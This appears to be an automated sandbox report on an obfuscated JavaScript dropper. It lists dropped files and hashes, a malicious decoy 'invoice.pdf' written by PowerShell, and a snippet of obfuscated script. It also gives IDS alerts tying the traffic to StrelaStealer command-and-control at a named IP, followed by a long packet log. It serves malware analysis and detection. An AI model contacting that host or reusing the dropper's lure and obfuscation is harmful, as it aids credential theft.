MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\edd67467-a04b-4dfc-a97e-ed8ec6fd7075.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15969), with CRLF line terminators
Entropy (8bit):	4.899679662697007
TrID:
File name:	12071652839003777.js
File size:	19'450 bytes
MD5:	4ed0fdedb55f9e5234c2883fa8187f25
SHA1:	a8264a489caf90a188a60404330a39547339e670
SHA256:	98a4271053b20914e44beb872b7f44a4a4371f80fcfd05b00552e838704ac3e5
SHA512:	f3cd23a948d214084bc87f49bdd48dd8cea44d2768d8070e105e4e23acf9a935db271d36ecc2b84771ee976d6c4feca09400761b5ed9e923204a5da20d854c3f
SSDEEP:	384:1DghNQ9Url0CPSo/6dDt5sluZbO3/m3TMcZVgTnz4MKraVeZQ36l3AMa:VqNQ9UBhKo2DJZQ361AMa
TLSH:	A29297DC7966C69A6CEA85F1C9D299E931D6000CB249C18DA4F291C55EBC9B2F3F307C
File Content Preview:	function ahogkcmwc(){xgyvqios=[1031,3079,5127,4103,2055,3072];var lgprgir=this[oqlyoud+pwplig+xzucopd+hxctjypl+cteyx+sxkktpopk+sxaspobp+dlzlkap](this[tusbbyqnk+vgfitbr+bmoborbtw+xzucopd+soqaakpn+oqlyoud+dlzlkap][doinddx+xzucopd+cteyx+pwplig+dlzlkap+cteyx+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:20:04.617984+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T06:20:04.617984+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T06:20:07.017821+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:20:03.826781034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:03.831641912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:03.831733942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:03.836118937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:03.840914011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.617831945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.617891073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.617902994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.617913961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.617924929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.617984056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.618031025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.618043900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.618052959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.618056059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.618067026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.618077993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.618110895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.618148088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.622868061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.622881889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.622894049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.622944117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.660603046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.660619974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.660749912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.747181892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747210026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747224092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747236013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747248888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747554064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.747642994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747658014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747735023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.747888088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747900009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747912884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747926950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.747967005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.748090982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.748527050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.748542070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.748553991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.748564959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.748577118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.748608112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.748608112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.748683929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.749316931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.749337912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.749351025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.749362946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.749375105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.749439001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.749439955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.791088104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.791105986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.791130066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.791141033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.791186094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.791186094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.834033966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.834050894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.834144115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.876420975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876455069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876470089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876481056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876492977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876563072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.876564026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.876616955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876630068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876642942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876658916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.876738071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.876848936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876861095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876873970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876898050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876909971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876920938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.876929998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.876929998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.876991987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.877487898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.877504110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.877516985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.877573013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.877583027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.877597094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.877618074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.877629995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.877644062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.877645969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.877688885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.877688885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.878403902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.878432989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.878446102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.878489017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.878500938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.878513098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.878525972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.878545046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.878568888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.878580093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.878582001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.878632069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.879507065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.879529953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.879543066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.879556894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.879570007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.879581928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.879594088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.879604101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.879604101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.879605055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.879641056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.879735947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.880337954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.880352974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.880387068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.880398035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.880409956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.880455971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.880455971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.880526066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.880537987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.880548954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.880594969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.880594969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.917985916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.918001890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.918062925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.920830965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.920854092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.920865059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.920919895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:04.963105917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.963120937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:04.963259935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.004735947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.004764080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.004796982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.004806042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.004900932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.004900932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.004940033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.004950047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.004961014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.004971027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005000114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005000114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005016088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005059958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005083084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005110979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005125046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005212069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005223989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005228996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005306005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005333900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005378008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005388975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005436897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005461931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005603075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005613089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005625010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005670071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005675077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005722046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005887032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005897999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005908012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005940914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005947113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005950928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005961895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.005965948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.005973101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006006956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.006073952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006084919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006094933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006122112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.006122112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.006676912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006690979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006702900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006712914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006726027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.006730080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006740093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006751060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006761074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006772041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006783009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006795883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006805897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006805897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.006805897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.006818056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.006856918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.006856918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.007493019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007504940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007515907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007527113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007535934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007549047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007550955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.007592916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.007592916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.007635117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007647038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007657051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007668018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007699966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.007700920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.007733107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007745028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007755995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.007882118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.008398056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008447886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.008501053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008512020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008521080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008532047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008542061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008555889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.008558989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008572102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008582115 CET	80	49704	193.143.1.205	192.168.2.8
